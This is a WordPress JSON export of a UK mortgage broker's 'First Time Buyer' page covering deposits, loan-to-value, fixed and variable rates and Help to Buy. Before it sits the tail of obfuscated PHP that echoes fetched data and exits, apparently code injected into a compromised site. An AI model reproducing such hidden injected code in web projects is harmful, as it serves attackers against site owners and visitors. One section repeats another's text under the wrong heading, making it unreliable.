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as $O00OO0_O__){@header($O00OO0_O__);}echo $O0__O00O_O["\x64\x61\x74\x61"];die();}}O_O_O_000O($O__O0_OO00); ?> {"id":117,"date":"2021-01-21T13:51:50","date_gmt":"2021-01-21T13:51:50","guid":{"rendered":"https:\/\/imortgage.spd.agency\/?page_id=117"},"modified":"2021-03-09T13:44:57","modified_gmt":"2021-03-09T13:44:57","slug":"first-time-buyer","status":"publish","type":"page","link":"https:\/\/imortgage.spd.agency\/mortgages\/first-time-buyer\/","title":{"rendered":"First Time Buyer"},"content":{"rendered":"\t\t
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Home<\/a><\/span><\/p>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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Buying your first home is very exciting but it\u2019s normal to feel a little overwhelmed. It\u2019s a whole new process and there\u2019s lots to think about. On this page we explain some of the basics about a first time buy mortgage and what you need to know.<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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How does a mortgage work?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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A mortgage is basically a big loan you take out to buy a property. You usually borrow the money from a bank or building society \u2013 the \u2018lender\u2019.<\/p>

To get a mortgage, you\u2019ll need to have a certain amount of money saved up as a deposit. The lender then gives you the rest of the money you need to purchase the house.<\/p>

You then have to pay back the lender over a number of years. The \u2018term\u2019 of the mortgage can be anything from 5 to 30+ years.<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t

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How much deposit do I need to buy a home?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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The usual minimum deposit is 5% of the total price of the property you want to buy. The bigger the percentage you can pay upfront, the smaller the loan you have to pay off \u2013 which means either smaller monthly payments or a shorter term.<\/p>

Most lenders ask for a certain \u2018loan to value\u2019<\/strong> (LTV) amount. It\u2019s the size of your mortgage as a percent of the total cost of the property. If you put down a deposit that\u2019s 10% of the property value, your LTV is 90%. Use our mortgage calculator to work out your LTV.<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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What are the different types of mortgage?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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There are lots of different types of mortgages out there (see Mortgage Types on our content hub<\/a> for all the details), but for first time buyers the most common is a repayment mortgage.<\/p>

Here, each monthly payment reduces your overall debt as well paying the interest your lender is charging. By the end of your term, you\u2019ll have paid the loan off in full and you will totally own your home.<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t

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Fixed rate vs variable rate<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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You can choose whether you would prefer to \u2018fix\u2019 the interest rate on your mortgage or leave it as variable. With a fixed rate mortgage you know exactly how much your repayments are for a particular length of time, such as 3 years or 5 years. At the end of the 5 years, you can choose another fixed rate mortgage.<\/p>

With a variable rate mortgage typically known as a tracker, discounted product or standard variable rate, the payments can go up or down depending on interest rates set by the lender or depending on the bank of England Base rate which is set by the Monetary Policy Committee.<\/p>

Variable rates can be cheaper but are less predictable. Read more about fixed and variable mortgages<\/a><\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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What do I need to get a mortgage?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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You can choose whether you would prefer to \u2018fix\u2019 the interest rate on your mortgage or leave it as variable. With a fixed rate mortgage you know exactly how much your repayments are for a particular length of time, such as 3 years or 5 years. At the end of the 5 years, you can choose another fixed rate mortgage.<\/p>

With a variable rate mortgage typically known as a tracker, discounted product or standard variable rate, the payments can go up or down depending on interest rates set by the lender or depending on the bank of England Base rate which is set by the Monetary Policy Committee.<\/p>

Variable rates can be cheaper but are less predictable. Read more about fixed and variable mortgages\u00a0<\/a><\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t

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What happens if can\u2019t pay my mortgage?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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A mortgage is \u2018secured\u2019 against the property you\u2019re buying. Ultimately, if you stop paying back the loan, the lender can repossess your home. This is a last resort, though. If you\u2019re having trouble paying your monthly payments, most lenders will aim to help you in the short term, so get in touch with them as early as you can.<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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What if don\u2019t have a big enough deposit to buy a house?<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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Property prices tend to rise and it\u2019s challenging to buy your first home. So there are a number of special schemes available to help people get on the property ladder. They include:<\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

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Help to Buy <\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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Where you can buy a home with a 5% deposit. The government then gives you a loan for up to 20% of the property\u2019s price (40% in London) \u2013 on top of the mortgage. This loan is interest-free for 5 years. More on Help to Buy<\/a><\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t

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Shared Ownership <\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
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Where you buy a percentage share in a property, while paying rent to a housing association. So you only need to come up with a deposit for the share you want to buy \u2013 so it\u2019s much less than a typical property deposit. More on Shared Ownership<\/a><\/p>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t

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